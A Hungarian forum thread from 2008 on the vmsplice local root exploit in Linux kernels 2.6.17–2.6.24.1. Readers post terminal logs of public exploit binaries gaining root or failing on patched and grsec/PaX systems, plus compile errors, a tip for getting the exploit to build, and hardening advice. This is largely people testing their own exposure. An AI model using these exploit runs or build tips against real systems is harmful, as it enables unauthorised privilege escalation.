Local root sebezhetőség a Linux kernelben, exploit közkézen

Címkék

Niki Denev hívta fel a figyelmet ma az LKML-en arra, hogy a Linux kernel a legújabb verziója is (2.6.17 - 2.6.24.1) sebezhető egy ún. "vmsplice local root exploit" által. A hibára még nincs hivatalosan kiadott javítás. Ami különösen problémássá teszi a dolgot az, hogy a hiba kihasználására írt exploit(ok) forog(nak) közkézen.


[opa@test tmp]$ uname -a
Linux tester 2.6.24.1 #1 Sun Feb 10 00:06:49 EST 2008 i686 unknown
[opa@test tmp]$ ./vms

-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f56000 .. 0xb7f88000
[+] root
[root@test tmp]#
[root@test tmp]# id
uid=0(root) gid=0(root) groups=2033(opa)
[root@test tmp]# uname -a
Linux test 2.6.24.1 #1 Sun Feb 10 00:06:49 EST 2008 i686 unknown

Referenciák:

CVE-2008-0009
CVE-2008-0010

Figyelmeztetés az LKML-en itt. Nem hivatalos javítás a 2.6.24.1-es kernelhez itt. Egy másik itt. Mivel egyik sem hivatalos, fenntartásokkal kezelendők!

(Az infókért, linkekért köszönet pinyo_villany-nak!)

Hozzászólások

Exploit forrása az érdeklődőknek, gyűjtőknek, tesztelőknek itt.

--
trey @ gépház

Ma reggel update-olt Hardy Heron, sajnos megy :(

atech@atech-laptop:~/bin/exploits$ ./vmsplice
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d5b000 .. 0xb7d8d000
[+] root
root@atech-laptop:~/bin/exploits# id
uid=0(root) gid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),112(netdev),113(lpadmin),115(powerdev),117(admin),129(pulse),130(pulse-access),131(pulse-rt),132(sambashare),133(polkituser),1000(atech)
root@atech-laptop:~/bin/exploits# uname -a
Linux atech-laptop 2.6.24-7-generic #1 SMP Thu Feb 7 01:29:58 UTC 2008 i686 GNU/Linux

ojajj

sajnos mukodik...

synapse

--------------------------
The OOM killer is like a surgeon that amputates the limb of a man to save his life: losing a limb is not a nice thing, but sometimes there is nothing better to do.

"Understanding the Linux Kernel" on page frame reclaiming


Linux pancs 2.6.22.17-opt2-cve1 #3 SMP Sun Feb 10 13:53:10 CET 2008 i686 GNU/Linux
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7fcb000 .. 0xb7ffd000
[-] vmsplice: Bad address

a fentebbi patch-el :P

linux v2.6.22.15 + madwifi v0.9.3.3-mal itt
debian gnu/linux @ linux-2.6.22.17-opd2

Error: "CVE-2008-0009" does not exist, please ensure that the CVE-ID matches the format "CVE-XXXX-XXXX"
Error: "CVE-2008-0010" does not exist, please ensure that the CVE-ID matches the format "CVE-XXXX-XXXX"

igen, nem kicsit, de 2.6.22.y alatt működik, mert abban még nincs randimized mmap ..

szóval maradunk a 2.6.22.y-nál még egy jó darabig.

a második exploit eredménye (diane...) 2.6.22.y-on + patch :


-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] addr: 0xc01112e9
[-] wtf

linux v2.6.22.15 + madwifi v0.9.3.3-mal itt
debian gnu/linux @ linux-2.6.22.17-opd2

"slashdotted"

"A kiddiek tamadasa"

:D

synapse

--------------------------
The OOM killer is like a surgeon that amputates the limb of a man to save his life: losing a limb is not a nice thing, but sometimes there is nothing better to do.

"Understanding the Linux Kernel" on page frame reclaiming

huncraft@klotild:~/Desktop/exploit$ uname -a
Linux klotild 2.6.22.15 #2 Sun Jan 13 23:15:08 CET 2008 i686 GNU/Linux
huncraft@klotild:~/Desktop/exploit$ ./diane_lane_fucked_hard.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] addr: 0xc010f34c
[-] wtf
huncraft@klotild:~/Desktop/exploit$ whoami
huncraft
huncraft@klotild:~/Desktop/exploit$ ./jessica_biel_naked_in_my_bed.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e1b000 .. 0xb7e4d000
[+] root
root@klotild:~/Desktop/exploit# whoami
root

Na ennek sem örülök....
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Üllj le és kuss legyen!"..

klotild:/home/huncraft/Desktop/exploit# clamscan .
./jessica_biel_naked_in_my_bed.c: OK
./jessica_biel_naked_in_my_bed.out: OK

----------- SCAN SUMMARY -----------
Known viruses: 208030
Engine version: 0.92
Scanned directories: 1
Scanned files: 2
Infected files: 0
Data scanned: 0.01 MB
Time: 3.461 sec (0 m 3 s)

Ezen már ezek után meg se lepődök...

____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Üllj le és kuss legyen!"..

Én 2.6.23.14-en probáltam grsec patch-el, és simán törte...

2.6.18.1 grsec + pax
elszállt Segmentation fault-tal...

PAX: suspicious general protection fault: 0000 [#1]
CPU: 0
EIP: 0060:[<00043784>] Not tainted VLI
EFLAGS: 00010202 (2.6.18.1-grsec #6)
eax: d3f8ff48 ebx: 00000000 ecx: ca312030 edx: 00000000
esi: 00000001 edi: d3f8fea8 ebp: ffffffe0 esp: d3f8fe80
ds: 0068 es: 0068 ss: 0068
Process vmtest (pid: 22828, ti=d3f8e000 task=ca312030 task.ti=d3f8e000)
Stack: 0007f1fc 00000000 00000000 00000001 d3f8fea8 5eaf00a8 eed30c00 00080596
eed30c00 d3f8fea8 d3f8ff48 d3f8fec8 00000030 00000000 c1007c70 51871000
51872000 d3f8ff10 00000000 00001000 00000000 00001000 00000000 00001000
Call Trace:
Code: 8d b4 26 00 00 00 00 8b 4a 38 89 54 24 04 ff e1 0f 0b ea d0 09 7c c0 5c 01 eb da 8d b6 00 00 00 00 8d bf 00 00 00 00 8b 54 24 04 <8b> 02 f6 c4 40 75 1c 8b 42 04 85 c0 74 17 ff 4a 04 0f 94 c0 84
EIP: [<00043784>] SS:ESP 0068:d3f8fe80

(szerk: mindenféle address space protection-ök is engedélyezve vannak, lehet hogy az fogta meg?)

Blah, debian alatt is muxik pedig az csak 2.6.18-as...:/

Raadasul azota a splice.c-t szinte teljesen atstrukturaltak, nehez megtalalni, hogy mit is kene ebben a forrasban javitani a patch-ek alapjan. Izgalmas, az biztos.

Meg jo, hogy 2.6.16.50-et hasznalok szervernek latszo targyakon. :)

Újabb figyelmeztető jel a jelenlegi kernelfejlesztési modellnek !

----------

Nem a zsömle kicsi, a pofátok nagy...

hja.

uderef és kernexec nélküli grsec sem segített. ill. igen a TPE, dehát az nem az igazi. / meggátolja minden megbízhatatlan felhasználó tulajdonában levő fájl /ebbe általuk lefordított kód is beleértendő / lefutattását ;-)

-------

Nem a zsömle kicsi, a pofátok nagy...

nemertem, ha mar tenyleg x napja kint van a javitas, akkor a deb-esek hogy nem javitottak meg ki. najo, ha csak az exploit orakon belul jelent meg, akkor ugyahogy ertheto.

Viszont tortent egy kulonos dolog, hogy epp az egyik erintett gepre voltam bejelentkezve, irom az emailt (azaz hasznalom, pty, ssh-n keresztul, stb), erre ke't segfault-jellegu valami bevillan, az 2-3 masodperc mulva elmulik (vagyis kicsit befagyott 2-3 masodpercre, en nyomom a ctrl+l-et meg minden, keson kapcsoltam hogy le kellett volna menteni a szoveget), majd csontta' fagyott. Most bejottem szemelyesen szemrevetelezni a vasat. Latszolag semmi, viszont ami a legfurabb, hogy reboot utan nem volt sw-raid resync (/proc/mdstat: minden fasza). Ez most gyanus. ujrainstallhoz most nincs idom (2 nap mulva nyelvvizsga), de a vas kene, hogy menjen. Erre mondjak, hogy "szopo". Mindensetre ha van kozkezen deb stock (2.6.18-6)-hoz vkinek peccse, az nem lenne rossz :] (en is ezen dolgoztam reszbebn mikozben a fent emlitett fagyas bekovetkezett)

A.

úgy néz ki hogy mindjárt az első talált patch teliltalálat volt.

A dia féle exploit klidől mert nem találja a proc/kallsyms-et.
A jess féle meg a vm_address (-) on hasal el. végtelen ciklusban megy jópár perce stabilitási gondot úgy tűnik nem okoz.

------

Nem a zsömle kicsi, a pofátok nagy...

alapból azzal fordítottam ... :
-static -Wno-format @ jessica_biel_naked_in_my_bed.c:

Linux pancs 2.6.22.17-opt2-cve2 #1 SMP Sun Feb 10 16:22:37 CET 2008 i686 GNU/Linux


-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7eee000 .. 0xb7f20000
[-] vmsplice: Bad address

-static és -Wno-format nélkül @ jessica_biel_naked_in_my_bed.c:


-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7db7000 .. 0xb7de9000
[-] vmsplice: Bad address

itt minden rendben

linux v2.6.22.15 + madwifi v0.9.3.3-mal itt
debian gnu/linux @ linux-2.6.22.17-opd2

Nalam okenak tunik. Mondjuk szerveren van, nincs rajta taviranyito, se suspend to ram :)


$ ./jessica 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7fa1000 .. 0xb7fd3000
[-] vmsplice: Bad address

Ugyan ez tortenik -static meg Wno eseten is, meg anelkul is. A Hunger altal linkelt masik exploit meg wtf-el megall. Amugy meg mindig inkabb megkockaztatom, hogy megalljon a gep, mint hogy megtorjek. Bar lehet en vagyok a hulye :)

Egyetertek. Ez egy baromsag.

Mindenben van x hiba. Ebbol az x hibabol y hiba security jellegu. Az y hibabol pedig z hiba sulyos security hiba, legyen az local, remote, privilege escalation, file disclosure, remote code execution, stb...

Faszsag feltetlezni, hogy a kernelfejlesztesi modell a rossz. Ez ugyanugy elofordult volna egy kulon fejlesztesi kernellel is. A mostani kernelfejlesztesi modell amugy is a disztributorokra helyezi at a felelosseget, nem muszaly vanillat hasznalni.

synapse

--------------------------
The OOM killer is like a surgeon that amputates the limb of a man to save his life: losing a limb is not a nice thing, but sometimes there is nothing better to do.

"Understanding the Linux Kernel" on page frame reclaiming

Amit meg sem említesz az ha jól látom, 2.4.26osban javításra került. Tehát nem felel meg 0daynek. Amikor ez a mostani kijött csak 2.6.24.1 volt és az érintett volt. Itt 2.4.26 idején jött ki az exploit, de az már védett volt.

A do_brk szintén ott is volt már 2.4.23 ha jól látom.

Amit a szádra se veszel :), ott nem egyértelmű hogy 2.4.24 volt előbb, vagy a publikus exploit. vagy legalábbis nekem nem egyértelmű. / gondolom mert nem értek elég jól angolul /

Nem azér' tartom különlegesnek ezt a mostanit, mert biztonsági hiba van a kernelben, hanem mert széles körben exploit állt rendelkezésre a hibára a javított stabil kernel megjelenése előtt (és még grsec HIGH-al se lehetett útját állni).

A ptracest azt most nem tudom mikor vált széles körben elérhetővé az exploit. Ha 2.4.21 (?) előtt akkor az nyert, és elismerem hogy szenilis vagyok :D

----------

Nem a zsömle kicsi, a pofátok nagy...

"* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others."

Két hónappal a javítás előtt.

"Paul Starzetz discovered the vulnerability over half
a year ago. Wojciech Purczynski performed further research and developed
exploit code."

Fél évvel a bejelentés előtt.

Biztos lehetsz benne, hogy 0day exploit is volt rá. BTW: mi a te meglátásod szerint az 0day? Kíváncsi vagyok rá.

--
trey @ gépház

saját Define :-) széles körben ismert 0day-re:

- biztonsági portálok (secunia, secfocus, stb. ) 0day exploit available megjegyzéssel írnak a hibáról.
- különféle nyílvános exploittanyákon elérhető pl. mail0worm
- google keresés, és ott van.

És mindez a hibajavított stabil kernel megjelenése előtt.

--------

Nem a zsömle kicsi, a pofátok nagy...

Értem. Tehát az, hogy a 2.4-es kernelben volt olyan hiba, amin hónapokat ültek és a Milw0rm (az általad említett "mail0worm" nem tom mi :) scriptkiddie siteon nem volt hozzá exploit, az azt jelenti, hogy a 2.4-es kernel fejlesztési modellje jobb, átgondoltabb volt. Mert ugye innen indultunk.

Ugye ezt te se gondolod komolyan? :)

--
trey @ gépház

Hát, most mosolyoghatsz, de ezek szerint mégsem volt olyan triviális egy naprakészen tartott 2.4.2x-es kernelt megszeretni egy publikus local root exploittal, mint a 2.6.2x-et. :-)

Mégha valóban ahogy így levezettük/tétek, sok különbség tényleg nincsen :-). ill. az egyetlen különbség itt előálltak publikusan exploittal, ott meg vagy nem volt / ezt valóban naivitás lenne elhinni / , vagy "nempublikusan" tartották míg a hibajavíott kernel ki nem jött.

---------------

Nem a zsömle kicsi, a pofátok nagy...

Félreérted az egészet. A komoly hibák benne voltak a 2.2-es és 2.4-es kernelekben __is__. Hosszú heteken, hónapokon talán éveken keresztül. Ha bekerültek (márpedig akkor is bekerültek), akkor mondhatjuk, hogy gyenge volt a QA. Ennek van köze a fejlesztési modellhez és mint látjuk, akkor sem volt semmivel jobb a helyzet. (Maximum az idő szépíti meg, ahogy szokta.)

Viszont annak, hogy egy exploit publikus vagy sem, annak nem a kernelfejlesztési modellhez van köze, hanem ahhoz, hogy az exploit készítője kiadja-e vagy sem.

--
trey @ gépház

hmmm.. hát nagyon úgy tűnik hogy rendesen be vagyok sózva ez ellen a 2.6os kernelfejlesztési modell ellen :-), és már azt is a "nyakába varrom", amit lehet hogy tényleg most éppen nem kéne.

akkor sem volt semmivel jobb a helyzet.

Hát lassan igazuk lesz azoknak akik azt jósolták nekem pár éve, hogy egyszer még bebootolok egy openbsd telepítő cd-t.

------------

Nem a zsömle kicsi, a pofátok nagy...

Na latod, ez mar gaz. Inkabb mondanad azt: mellelottem, vagy csak egyszeruen hallgathatnal. Igenis voltak komoly gondok 2.4-el security teren is(2.2, 2.0), de regebben meg a fs corruption is slagertema volt a stabil agakban. A linux kernel fejlesztese egy ideje nagyon komoly szervezesi feladat. Vannak gondok a fejlesztesi model korul, de ezek az apivaltasok, illetve ezeknek az atgondolatlansaga. Ennek nincs koze a securityhez. Az ha ez novekszik egyszeruen magyarazhato a projekt nagysagaval, de ez a kitort hepaj is erthetetlen, hisz nem gyakori jelensegrol van szo (szerencsere).
Fikazni mindenki tud, ezt ne felejtsd.

Csak erdekesseg kedveert mondom, hogy az openvz-vel patchelt kernelen az exploit segfaulttal elhal. Az a kernel 2.6.18 alapu egyebkent. A sima vanilla 2.6.18.8-ason mukodik az exploit.

Kinek mi a véleménye, hogyan lehet _hatékonyan_, _egyszerű eszközökkel_ csökkenteni a mostani és a jövőbeni ehhez hasonló, "local root exploit"-ok által okozott biztonsági kockázatot Linux "bleeding edge" rendszereken?

cryp

pax, aslr, grsec, rsbac, nem adsz senkinek shell accountot, php exec-et es hasonlokat tiltod. Ne lehessen kodot futtatni a rendszereden kulsoleg, ha nem lehet akkor exploitot sem fog tudni futtatni.

synapse

--------------------------
The OOM killer is like a surgeon that amputates the limb of a man to save his life: losing a limb is not a nice thing, but sometimes there is nothing better to do.

"Understanding the Linux Kernel" on page frame reclaiming

Engedtessék meg nekem egy láma kérdés: itthoni gépemen nincs más usernek shell-je csak nekem, az internet felõl pedig csak az ssh és a http elérhetõ (meg a skype minden szökõévben egyszer), de az elsõ kettõ csak rsa key-el, ami szintén csak nekem van meg.

Akkor most - tekintettel arra, hogy ez egy local root exploit - nyugodtan alhatok? Esetleg a böngészéssel is érdemes egy darabig óvatos duhajnak lenni? Firefox-nak, flush- és mplayer pluginoknak nincs pillanatnyilag olyan ismert, patcheletlen hibája, amit ezzel a local root exploittal kombinálva kihasználhatnának?

---
Mondjon le!

mhm


$ ./vms
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e0a000 .. 0xb7e3c000
Segmentation fault (core dumped)
$ uname -a
Linux * 2.6.20-15-generic #2 SMP * * * *:*:* * * i686 GNU/Linux

Magömlött egy jót.

ami át van húzva, azt teljesen fölösleges elolvasni. az olyan, mintha ott sem lenne

Ejj, ez eleg csunya. En ugy oldottam meg hogy felraktam az scponly shell-t, es mindenki login shell-jet arra allitottam. Gyorsan meg lehet csinalni es csak az ssh-t tiltja le, mas szolgaltatasok (mint scp, sftp, ftps, imap, stb) tovabb mukodnek.

A számítógép név miért változott testerről testre?

miutan mar minden slasdotted, valaki akinek megvan felrakhatna az utolso/official patchet valahova (pastebin pl. meg muxik).

thx

A'rpi

Jelenleg mik hasznaljak ezt a rendszerhivast ?

meg is látszik a hatása, most kb 10-15 percenként kapok egy spam-et, pedig gmail (lkml-re használt cím) spamfiletere egész jó ...

linux v2.6.22.15 + madwifi v0.9.3.3-mal itt
debian gnu/linux @ linux-2.6.22.17-opd2


akarki@akarmi $./jess
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f9d000 .. 0xb7fcf000
[-] vmsplice: No such file or directory

akarki@akarmi $./dian
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] addr: 0xc0116840
[-] wtf

"-static -Wno-format"-tal is.
Magyarázat?
____________________________________________________________
Slackware 12/current - linux-2.6.24.1-olorin - KDE 3.5.8

Akkor ezt az utility-t most symlinkelhetem magamnak su-ként?

Ezt a hibaüzenetet kaptam fordításnál:

$ gcc diane_lane_fucked_hard.c -o diane_lane_fucked_hard
/tmp/cctsuax2.s: Assembler messages:
/tmp/cctsuax2.s:118: Error: Incorrect register `%rax' used with `l' suffix

A másiknál pedig:
$ gcc jessica_biel_naked_in_my_bed.c -o jessica_biel_naked_in_my_bed
jessica_biel_naked_in_my_bed.c:30:22: error: asm/page.h: Nincs ilyen fájl vagy könyvtár
jessica_biel_naked_in_my_bed.c: In function ‘main’:
jessica_biel_naked_in_my_bed.c:211: error: ‘PAGE_SIZE’ undeclared (first use in this function)
jessica_biel_naked_in_my_bed.c:211: error: (Each undeclared identifier is reported only once
jessica_biel_naked_in_my_bed.c:211: error: for each function it appears in.)

Ezen a rendszeren: 2.6.23-gentoo-r3 #1 SMP Sat Jan 12 15:53:16 CET 2008 x86_64 AMD Athlon(tm) 64 X2

Így hogy nem tudom a magyarázatát, nem igazán nyugtat meg. Valakinek van valami ötlete, hogy miért nem fordul le a Gentoo rendszeremen (64bit)?

Ati

Itt egy patch, szerintem ez lesz a hivatalos javitas is:
http://lkml.org/lkml/2008/2/10/153

Egyebkent Greg KH irt a listara, es ez egy uj security hole, a cikkben szereploket kijavitottak az utolso stabil patch-el. Ennek a szama: CVE-2008-0600

"No, this is a different CVE, as it is a different problem from the
original 09 and 10 report.

It has been given CVE-2008-0600 to address this issue (09 and 10 only
affect .23 and .24 kernels, and have been fixed.)"
http://lkml.org/lkml/2008/2/10/177

localhost kernel_bug_expolit # uname -a
Linux localhost 2.6.22-hardened-r8 #6 SMP Sat Dec 15 21:41:25 CET 2007 i686 Pentium III (Coppermine) GenuineIntel GNU/Linux
localhost kernel_bug_expolit # ./expolit
bash: ./expolit: Permission denied
localhost kernel_bug_expolit # gcc jessica_biel_naked_in_my_bed.c -o expolit1
jessica_biel_naked_in_my_bed.c:30:22: asm/page.h: No such file or directory
jessica_biel_naked_in_my_bed.c: In function `main':
jessica_biel_naked_in_my_bed.c:211: error: `PAGE_SIZE' undeclared (first use in this function)
jessica_biel_naked_in_my_bed.c:211: error: (Each undeclared identifier is reported only once
jessica_biel_naked_in_my_bed.c:211: error: for each function it appears in.)
localhost kernel_bug_expolit #

localhost kernel_bug_expolit # ./expolit
bash: ./expolit: Permission denied
localhost kernel_bug_expolit # gcc jessica_biel_naked_in_my_bed.c -o expolit1
jessica_biel_naked_in_my_bed.c:30:22: asm/page.h: No such file or directory
jessica_biel_naked_in_my_bed.c: In function `main':
jessica_biel_naked_in_my_bed.c:211: error: `PAGE_SIZE' undeclared (first use in this function)
jessica_biel_naked_in_my_bed.c:211: error: (Each undeclared identifier is reported only once
jessica_biel_naked_in_my_bed.c:211: error: for each function it appears in.)
localhost kernel_bug_expolit #

Hat nalam nem megy az itthoni szerveren ;) Jo hir nyugodt leszek ejszaka.
Gentoo Hardened rules.

--
1 leszel vagy 0 élő vagy hulla!

Sajnos a poteciális betörő, aki kicsit is ért hozzá vizsont meg fogja erőltetni magát és lefordítja. Csak emiatt, hogy te nem tudod lefordítani, ne aludj nyugodtan. Hint: a page.h inculde-ot kell kijavítani és le fog fordulni.

Egyébként ha rendesen engedélyezve van a PaX a kerneledben, akkor nem fog működni. Szóval nézd meg a kernel konfigot és utána menj aludni.

Üdv,
Dw.
"Jegyezze fel a vádhoz - utasította Metcalf őrnagy a tizedest, aki tudott gyorsírni. - Tiszteletlenül beszélt a feljebbvalójával, amikor nem pofázott közbe."

Ezen mit fejtsek ki? Attol meg hogy te nem tudod leforgatni, egyaltalan semmi garanciat nem jelent, hogy mas sem fogja (sot), vagy nem teszi fel binariskent.
Innentol kezdve pedig lehetsz "nyugodt ejszaka", csak epp semmi sem indokolja.

--
Fontos feladatot soha ne bizz olyan gepre, amit egyedul is fel tudsz emelni!

A pax/grsec, stb. kernel patchek tudnak olyat, hogy csak bizonyos eleresi utakrol enged futtatni alkalmazasokat? (vagy ha nem path alapon, de mondjuk egy beallithato adatbazis alapjan, vagy alairas alapjan, stb.)

Ilyenkor nem sokat erne azzal, hogy feluploadol egy binarist. Kerdes persze, hogy nem-e tud ravenni egy "megbizhato"-nak velt alkalmazast arra, hogy valamilyen formaban futtassa az o altala feltoltottet.

Az a baj, hogy ezt altalanos esetben tul konnyu bypass-olni (pl. ugy, hogy keresel valamelyik "megbizhato" programban valamilyen overflow-t (ami normalisan senkit sem erdekelne, mert tavolrol nem kihasznalhato, es nem is setuid-os)).

--
Fontos feladatot soha ne bizz olyan gepre, amit egyedul is fel tudsz emelni!

Igen, sajnos ilyenkor hasonlo technikaval, mintha tavolrol tamadna, a stackkel tud tetszoleges kodot futtatni.

Viszont ha jobban belegondolunk, ez megsem olyan egyszeru. Hiszen TPE eseten azon kivul, hogy rendelkeznunk kell egy olyan exploittal, ami mukodik a cel rendszeren, kell egy overflowolhato program. Ha meg talal is valaki ilyet, az ilyen egyszeru alkalmazasbeli overflowk (tehat nem kernel gyengesegek) ellen viszont nagyon sok kernel patch nyujt vedelmet, ami miatt megint nem lehet csak ugy hirtelen futtatni a kodot, meg ha van egy helyi gyenge program, akkor sem.

Ez jo hir?

$uname -a
Linux fuku 2.6.19.2-grsec #1 SMP PREEMPT Tue Feb 6 09:25:13 CET 2007 i686 pentium4 i386 GNU/Linux
$id -u
1000
$./2
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[-] /proc/kallsyms: Permission denied
$id -u
1000

ASK Me No Questions, I'll Tell You No Lies

probaltam jessica-t is, igy jobb?

$./2a
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[-] mmap: Invalid argument
$id -u
1000

a symbol infokat meg jopar helyrol be lehet szerezni (pl. System.map

Az igaz, de nem a kiddie-knek...

Btw. Jessica Biel egy nagyon korrekt kis csaj... :-)

ASK Me No Questions, I'll Tell You No Lies

Ja, most láttam a Next című filmet és bejött. Akció mozikat kedvelő barátnőkkel kötelező teljesíteni (nekik ott van benne Nicolas Cage). Van benne szerintem kellő mennyiségű romantika, de a klisészerű hollywoodi szeretkezéstől megkíméli a nézőt a rendező.

Üdv,
Dw.
"Jegyezze fel a vádhoz - utasította Metcalf őrnagy a tizedest, aki tudott gyorsírni. - Tiszteletlenül beszélt a feljebbvalójával, amikor nem pofázott közbe."

$ ./a.out
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x30fc21548000 .. 0x30fc2157a000
Killed

Feb 10 20:53:48 pingus PAX: From 81.159.113.124: execution attempt in: , 00000000-00000000 00000000
Feb 10 20:53:48 pingus PAX: terminating task: /home/dph/src/a.out(a.out):29296, uid/euid: 0/0, PC: 00000000b001f147, SP: 00000000b0320018
Feb 10 20:53:48 pingus PAX: bytes at PC: ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
Feb 10 20:53:48 pingus PAX: bytes at SP-8: ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ???????????????? ????????????????
Feb 10 20:53:48 pingus grsec: From 81.159.113.124: denied resource overstep by requesting 4096 for RLIMIT_CORE against limit 0 for /home/dph/src/a.out[a.out:29296] uid/euid:0/0 gid/egid:0/0, parent /bin/bash[bash:28909] uid/euid:1000/1000 gid/egid:100/100

Mi ez a nagy izgalom? Addig használjatok BSD-t, míg nem javítják a hibát. :D

x86_64-el mi a helyzet? mert valaki már jelezte lkml-en, hogy ott nem segít a patch ...

egyéb arch-ok (ia64, sparc, mips) ?

szerk.: bár elvielg a többivel nem szabadna mennie ...

linux v2.6.22.15 + madwifi v0.9.3.3-mal itt
debian gnu/linux @ linux-2.6.22.17-opd2

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif

#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246

ebből indultam ki, meg ha jól tudom, a syscall számok minden archon mások* ... (fixme)

*vagy csak részbe ..
.long sys_readahead /* 225 */
.long sys_readahead /* 225 */
.long sys_readahead /* 225 */
.long sys_readahead /* 240 */

(for i in `find . -name syscall*`; do cat $i; done ) | sort | less

linux v2.6.22.15 + madwifi v0.9.3.3-mal itt
debian gnu/linux @ linux-2.6.22.17-opd2

Xen alatt (domU kernellel) mukodik ez valakinek? Nekem nem igazan... 2.6.18 es .20 tested

A'rpi

uname -a

Linux myhost 2.6.24-ARCH #1 SMP PREEMPT Sun Feb 10 15:21:33 UTC 2008 i686 Intel(R) Celeron(TM) CPU 1300MHz GenuineIntel GNU/Linux

./jessica

-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[-] !@#$

./diane

-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] addr: 0xc0120740
[-] wtf

http://archlinux.org/packages/13318/ (kernel26 2.6.24.1-2)
http://bbs.archlinux.org/viewtopic.php?id=43707

Elvileg Arch Linux alatt a dolog fixálva van.

64 bites rendszeren nem működik ezkszerint?

user@fs:~$ uname -a
Linux fs 2.6.23.14 #2 SMP Tue Jan 22 15:30:58 CET 2008 x86_64 GNU/Linux
user@fs:~$ ./vms
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x38
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] mmap: 0x2b46efdbe000 .. 0x2b46efdf0000
Killed

Szaisztok!
Debian alatt fordította már le valaki?
Végig ilyen hibát dob egész hosszan.
/usr/include/sys/mman.h:58: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:71: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:77: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:82: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:90: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:95: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:99: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:104: error: expected declaration specifiers or '...' before 'size_t'
/usr/include/sys/mman.h:107: error: expected declaration specifiers or '...' before 'size_t'
